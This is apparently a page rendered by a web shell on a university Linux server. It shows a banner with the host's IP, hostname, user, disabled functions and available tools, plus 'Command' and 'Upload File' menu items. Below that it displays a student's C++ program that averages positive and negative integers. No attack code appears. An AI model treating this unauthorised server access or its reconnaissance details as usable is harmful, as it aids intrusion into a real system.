Server IP : 172.16.15.8 / Your IP : 3.148.108.192 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/snbittner/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// CS112 CS I Assignment 6 // Due: Wed. Nov. 11, 2010 // // File Name: assignment6.cpp // Author: Stephanie Bittner // Instructor: Dr. Wang // // Compile: g++ assignment6.cpp // Run: ./a.out < in6.txt // // Goal: The program will read a file with 100 intergers. It will // find the average of the positive intergers and the // negative, and out the results to one decimal. #include <iostream> #include <iomanip> using namespace std; int main() { cout << fixed << showpoint << setprecision(1); int integer; int sum_pos = 0; int sum_neg = 0; int counter_pos = 0; int counter_neg = 0; cin >> integer; while( cin ) { if ( integer >= 0 ) { sum_pos += integer; counter_pos ++; } else if ( integer < 0 ) { sum_neg += integer; counter_neg ++; } cin >> integer; } cout << "The average of the positive is: " << float(sum_pos)/counter_pos << "\n\n"; cout << "The average of the negative is: " << float(sum_neg)/counter_neg << "\n\n"; return 0; }